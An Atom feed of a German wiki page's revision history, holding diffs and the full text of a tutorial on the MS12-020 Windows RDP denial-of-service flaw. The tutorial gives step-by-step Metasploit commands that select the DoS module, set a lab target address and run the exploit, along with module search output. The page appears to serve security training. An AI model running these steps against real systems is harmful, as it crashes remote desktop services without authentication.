https://wiki.ixheim.de/index.php?action=history&feed=atom&title=Microsoft_RDP_Denial_of_Service 2026-05-15T07:23:38Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://wiki.ixheim.de/index.php?title=Microsoft_RDP_Denial_of_Service&diff=55929&oldid=prev 2024-08-29T07:18:38Z

<p><span dir="auto"><span class="autocomment">Anwenden</span></span></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 29. August 2024, 07:18 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l40" >Zeile 40:</td> <td colspan="2" class="diff-lineno">Zeile 40:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*use auxiliary/dos/windows/rdp/ms12_020_maxchannelids</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*use auxiliary/dos/windows/rdp/ms12_020_maxchannelids</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>*set RHOSTS 10.0.10.<del class="diffchange diffchange-inline">108</del></div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>*set RHOSTS 10.0.10.<ins class="diffchange diffchange-inline">107</ins></div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*exploit</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*exploit</div></td></tr> </table>

Thomas.will https://wiki.ixheim.de/index.php?title=Microsoft_RDP_Denial_of_Service&diff=55927&oldid=prev 2024-08-28T19:29:14Z

<p><span dir="auto"><span class="autocomment">Suche</span></span></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 28. August 2024, 19:29 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l22" >Zeile 22:</td> <td colspan="2" class="diff-lineno">Zeile 22:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>== Suche ==</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>== Suche ==</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div> </div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">*search ms12-020</ins></div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>&lt;pre&gt;</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>&lt;pre&gt;</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;">search ms12-020</del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>Matching Modules</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>Matching Modules</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>================</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>================</div></td></tr> </table>

Thomas.will https://wiki.ixheim.de/index.php?title=Microsoft_RDP_Denial_of_Service&diff=55926&oldid=prev 2024-08-28T19:28:59Z

<p><span dir="auto"><span class="autocomment">Anwenden</span></span></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 28. August 2024, 19:28 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l40" >Zeile 40:</td> <td colspan="2" class="diff-lineno">Zeile 40:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>== Anwenden ==</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>== Anwenden ==</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>* <del class="diffchange diffchange-inline">`</del>use auxiliary/dos/windows/rdp/ms12_020_maxchannelids<del class="diffchange diffchange-inline">`</del></div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>*use auxiliary/dos/windows/rdp/ms12_020_maxchannelids</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>* <del class="diffchange diffchange-inline">`</del>set RHOSTS 10.0.10.108<del class="diffchange diffchange-inline">`</del></div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>*set RHOSTS 10.0.10.108</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>* <del class="diffchange diffchange-inline">`</del>exploit<del class="diffchange diffchange-inline">`</del></div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>*exploit</div></td></tr> </table>

Thomas.will https://wiki.ixheim.de/index.php?title=Microsoft_RDP_Denial_of_Service&diff=55925&oldid=prev 2024-08-28T19:28:03Z

<p>Die Seite wurde neu angelegt: „== Details zur Schwachstelle: MS12-020 (Denial-of-Service) == &#039;&#039;&#039;Schwachstelle&#039;&#039;&#039;: MS12-020 ist eine Schwachstelle in der Implementierung des Remote Desktop P…“</p> <p><b>Neue Seite</b></p><div>== Details zur Schwachstelle: MS12-020 (Denial-of-Service) ==<br /> <br /> '''Schwachstelle''': MS12-020 ist eine Schwachstelle in der Implementierung des Remote Desktop Protocols (RDP) in Windows. Diese Schwachstelle kann dazu genutzt werden, durch die falsche Verarbeitung des `maxChannelIDs`-Feldes im MCSPDU-Paket einen Denial-of-Service (DoS) Angriff auszulösen. Dies geschieht durch die Nutzung eines ungültigen Zeigers, was den RDP-Dienst zum Absturz bringen kann.<br /> <br /> '''Angriffspunkt''': Die Schwachstelle befindet sich im RDP-Dienst auf Windows-Betriebssystemen (Port 3389). Ein Angreifer kann speziell gestaltete RDP-Pakete senden, um die Schwachstelle auszunutzen und den Dienst zum Absturz zu bringen, ohne dass eine Authentifizierung erforderlich ist.<br /> <br /> '''Ausnutzung''': Ein Angreifer nutzt ein speziell entwickeltes Exploit-Tool, wie es im MS12-020-Exploit von Metasploit verfügbar ist, um den RDP-Dienst gezielt zum Absturz zu bringen. Ein erfolgreicher Angriff führt zu einem Systemabsturz oder Neustart des Zielsystems.<br /> <br /> === Schritte zur Ausnutzung ===<br /> <br /> # Führe in Metasploit den Befehl &quot;search ms12-020&quot; aus, um nach dem passenden Exploit zu suchen.<br /> # Wähle das Exploit-Modul aus: `use auxiliary/dos/windows/rdp/ms12_020_maxchannelids`.<br /> # Setze die Ziel-IP-Adresse (RHOSTS) auf die IP des verwundbaren Systems (z. B. `set RHOSTS 10.0.10.108`).<br /> # Starte den Exploit mit dem Befehl `exploit`. Bei erfolgreicher Ausführung wird das System abstürzen oder neu starten.<br /> <br /> === Warum ist diese Schwachstelle gefährlich? ===<br /> <br /> * '''Denial-of-Service (DoS)''': Ermöglicht es einem Angreifer, den Remote Desktop-Dienst des Zielsystems zum Absturz zu bringen, wodurch der Dienst nicht verfügbar ist.<br /> * '''Zugriffspunkte''': Die Schwachstelle betrifft mehrere Windows-Versionen, einschließlich Windows Server 2008 R2, die RDP aktiviert haben.<br /> * '''Minimale Anforderungen''': Der Angriff erfordert keine Authentifizierung und kann aus der Ferne ausgeführt werden, wenn RDP offen und zugänglich ist.<br /> * '''Netzwerkunterbrechungen''': DoS-Angriffe können die Verfügbarkeit kritischer Dienste stören und somit zu finanziellen Verlusten und Rufschädigungen führen.<br /> <br /> == Suche ==<br /> <br /> &lt;pre&gt;<br /> search ms12-020<br /> Matching Modules<br /> ================<br /> <br /> # Name Disclosure Date Rank Check Description<br /> - ---- --------------- ---- ----- -----------<br /> 0 auxiliary/scanner/rdp/ms12_020_check . normal Yes MS12-020 Microsoft Remote Desktop Checker<br /> 1 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal No MS12-020 Microsoft Remote Desktop Use-After-Free DoS<br /> &lt;/pre&gt;<br /> <br /> == MS12-020 (Denial-of-Service) Exploit überprüfen ==<br /> <br /> Der MS12-020-Exploit ist eine bekannte Schwachstelle in älteren Windows-Versionen, einschließlich Windows Server 2008 R2. Es handelt sich um eine Schwachstelle im Remote Desktop Protocol (RDP).<br /> <br /> == Anwenden ==<br /> <br /> * `use auxiliary/dos/windows/rdp/ms12_020_maxchannelids`<br /> * `set RHOSTS 10.0.10.108`<br /> * `exploit`</div>

Thomas.will